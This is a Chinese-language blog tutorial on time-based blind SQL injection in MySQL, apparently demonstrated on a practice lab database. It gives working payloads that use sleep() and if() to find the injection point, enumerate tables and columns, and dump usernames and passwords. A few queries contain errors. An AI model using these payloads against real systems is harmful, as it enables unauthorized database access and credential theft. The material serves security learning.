MySQL注入-盲注-时间盲注

#时间盲注

时间盲注 :

Web界面只会返回一个正常的界面。利用页面响应的时间不同,逐渐猜解数据是否存在注入点。

使用场景:

                 1.界面没有回显

                 2.界面没有报错信息

                 3.界面没有真假值

举个例子:一个页面如果有回显的话,我们优先考虑union注入。如果没有回显的话,但是有报错信息的话,我们使用报错注入(extracvalue,floor,updatexml等)。如果没有回显,也没有报错信息的话,但是他 的页面有真值和假值这两种来回切换的状态的话,根据我们所输入的代码反馈结果的不同,我们就可以选择布尔盲注。如果以上都没有就可以使用时间注入

#关键函数介绍

1.Sleep()

 Sleep()参数为休眠时间,以秒为单位,可以为小数

首先写入参数?id=1

页面 正常

在后面随便写一顿乱七八糟的,页面还是正常

就是不管你怎么写都是正常。一般在实际情况下就是你使用了各种闭合方式的判断或者其他判断,他页面不管怎么样都是正常的

此时我们也不知道他到底有没有注入点,只能一个一个进行尝试


使用sleep()进行数字型尝试

url:id=1 and sleep(5)

假设他是数字型的,那我们就先 使用and sleep(5)这个函数,如果他返回页面的时间是5秒后加载出来的页面,那么就证明他是数字型的,并且又注入点,因为他对我们输入的内容进行执行了。

从界面看出来他没有延迟5秒以后返回结果。

使用sleep()进行字符型尝试

字符串第一次 " 尝试

url:id=1" and sleep(5) --+

没有延迟

字符串第二次 ' 尝试

url:?id=1' and sleep(5) --+

 页面返回时间为6038毫秒

出去我们自身网速的1000毫秒

延迟了5秒,确定存在注入点

说明我们输入语句他执行了,以此判断存在SQL注入点

2.IF()函数

IF(condition,ture,false):condition为条件,ture当条件真返回的值,false当条件为假返回的值

Select if(1,2,3);
select if(1=1,sleep(0),sleep(3));
如果1=1这个条件为真的话,那么就执行sleep(0)。如果1=1为假的话那么就执行sleep(3)

首先第一个参数是在进行比大小,原来在我们布尔盲注里面是通过比大小的方式,来根据页面真假值的两种切换状态来比较,判断我们的条件是否成立。所以现在我们只能使用

sleep()这个函数的响应时间来进行判断我们的条件是否成立。

#案例演示

1.判断数字型还是字符,如果是字符型 确定闭合方式,判断是否存在注入点

play load :

and sleep(5);

url:?id=1' and sleep(5) --+

 延迟了5秒,确定存在注入点

使用’ 单引号闭合

2.判断数据库名长度

play load

and if(length(database())>=10,sleep(0),sleep(3))

使用函数

length():长度

database():正在使用的数据库

url:?id=1' and if(length(database())>=10,sleep(0),sleep(3)) --+

判断数据库的长度是否大于或者等着10个字符,如果大于的话暂停0秒后返回结果,如果不大于10个字符的话暂停3秒后返回结果

页面情况,暂停了3秒,说明他小于10,那么说明他的数据名在10个字符以内

Url:

?id=1’ if(length(database())=8,sleep(0),sleep(3))  --+

 页面回显时间1031秒,没有延迟 确定数据名为8个字符

3.确定数据库名

play load

and if(Ord(Substr(database(),1,1))>=x,sleep(0),sleep(3))

使用函数

if(1,2,3):判断语句,1为条件,如果条件为真的话执行2的参数。如果1为假执行3的参数

ord():将括号内的内容转换成ascii码

substr(s,n,1)截取字符串s,从n的 位置开始截,截图一个字符的长度

 确定数据库名的第一个字符

url:?id=1' and  if(ord(substr(database(),1,1))>=100,sleep(0),sleep(3)) --+

截取数据库名的第一个字符,判断是否大于100,如果大于100的话页面暂停0秒返回页面

 通过页面加载时间确定大于100

 通过页面加载时间确定大于110

.......

通过页面时间确定,第一个字符的ascii码值为115

经过码表对比

115=s

以上结论一个字符为s

 确定数据库名的第二个字符

?id=1'  and  if(ord(substr(database(),2,1))=101,sleep(0),sleep(3))--+

通过时间的判断,确定第二个字符的ascii码是101

经过码表对比

101=e

以上结论二个字符为e

.......后面的内容你们自己尝试去,只要把substr()的第二个参数进行更改就好了

最终确定数据库名为security

4.获取数据表信息

4.1获取所有数据表名拼接成的字符串长度

play load

and if(length((select group_concat(table_name)from  information_schema.tables where table_schema=database()))>=x,sleep(0),sleep(3))

 url:

?id=1'and if(length((select group_concat(table_name)from 20 information_schema.tables where table_schema=database()))=29,sleep(0),sleep(3)) --+

判断数据表名拼接成的字符串长度是否为29

 根据时间响应判断,确定数据名表名为29个字符

4.2猜解数据表名字符串每一个字符

play load

and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),n,1))>=100,sleep(0),sleep(3))

查询数据表第一个字符

url:

?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>=110,sleep(0),sleep(3))--+

判断数据表的第一个字符是否大于110

 经过响应时间确定,不大于110

url:

?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>=100,sleep(0),sleep(3))--+

判断数据表名第一个字符是否大于100

通过页面响应的时间差确定大于100,小于110,那么就说明在100-110之间

url:

?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=101,sleep(0),sleep(3))--+

通过时间响应,确定数据表名第一个字符的ascii值为101

通过ascii码表查询

101转换结果为e

确定数据表第一个字符为e

查询数据表第二个字符

?id=1' and if(ord(substr((select group_concat(table_name)from information_schema.tables  where table_name=database()),2,1))>100,sleep(0),sleep(3)) --+

判断数据表第二个字符是否大于100

通过时间差判断,大于100

url:

?id=1' and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_name=database()),2,1))>=110,sleep(0),sleep(3)) --+

 通过响应时间判断不大于110

确定第二个字符在100-110之间

从 100-110一个一个进行测试

url:

?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),2,1))=109,sleep(0),sleep(3))--+

通过时间响应,确定数据表名第一个字符的ascii值为109

通过ascii码表查询

109转换结果为m

确定数据表第二个字符为m

....................

一样的步骤,只要替换substr()第二个参数就行了

最终得到的所有数据表为

emails,

referers,

uagents,

users

5.查询users数据表中的所有字段信息

5.1获取所有字段名拼接成的字符串的长度

play load

and if(length((select group_concat(column_name)from  information_schema.columns where table_schema=database() and table_name='users'))>=n,sleep(0),sleep(3))

url:

?id=1' and if(length((select group_concat(column_name)from  information_schema.columns where table_schema=database() and table_name='users'))>=20,sleep(0),sleep(3))  --+

判断拼接的字段名是否大于20个字符

经常页面的时间查判断,确定大于20个字符

url:

?id=1' and if(length((select group_concat(column_name)from  information_schema.columns where table_schema=database() and table_name='users'))>=30,sleep(0),sleep(3))  --+

通过页面时间响应判断,字符不大于30

推算字段名在20-30个字符中间

url:

?id=1' and if(length((select group_concat(column_name)from  information_schema.columns where table_schema=database() and table_name='users'))=20,sleep(0),sleep(3))  --+

通过页面时间差来判断,确定字段长度为20个字符串

5.2判断拼接字段字符(对字段拼接成的字符串的每一个字符进行猜解)

paly load

and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='数据表'),n,1))>=x,sleep(0),sleep(3))

 ?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=110,sleep(0),sleep(3)) --+

判断拼接的字段名第一个字符,是否大于110

 通过页面时间差来判断,不大于110

url: 

?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=100,sleep(0),sleep(3)) --+

 通过页面时间差来判断,第一个字符大于100但是又小于110

100-110之间

url:

?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(0),sleep(3)) --+

通过时间响应判断第一个字符为105

通过码表对比

105=i

............

后面也是一样的测试方式,更改substr(1,2,3)第二个参数就好了

以下为所有字段

 id,

username,

password

6.拖库

1.判断字段长度(获取username和password字段拼接成字符串的总长度)

play load

?id=1'and if(LENGTH((SELECT GROUP_CONCAT(字段1,'--',p字段2) FROM  数据库.数据表))>=x,sleep(0),sleep(3))

 ?id=1'and if(LENGTH((SELECT GROUP_CONCAT(username,'--',password) FROM  security.users))=201,sleep(0),sleep(3))--+

根本响应时间确定,凭借的字段信息长度为字段长度201个字符

2. 对字段名中的数据进行每个字符的猜解

play load

and if( ORD(SUBSTR((SELECT GROUP_CONCAT(字段1,'--',字段) from 数据库.数据表),n,1))>=x,sleep(0),sleep(3))

 ?id=1'and if( ORD(SUBSTR((SELECT GROUP_CONCAT(username,'--',password) from security.users),1,1))=68,sleep(0),sleep(3))--+

从响应时间判断第一个字符的ascii码为68

68=D

.................................................................

以下就这么去判断,拜拜太多了,不想测了,如果有好奇心太强的宝宝就去sqlmap跑一下

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/129828796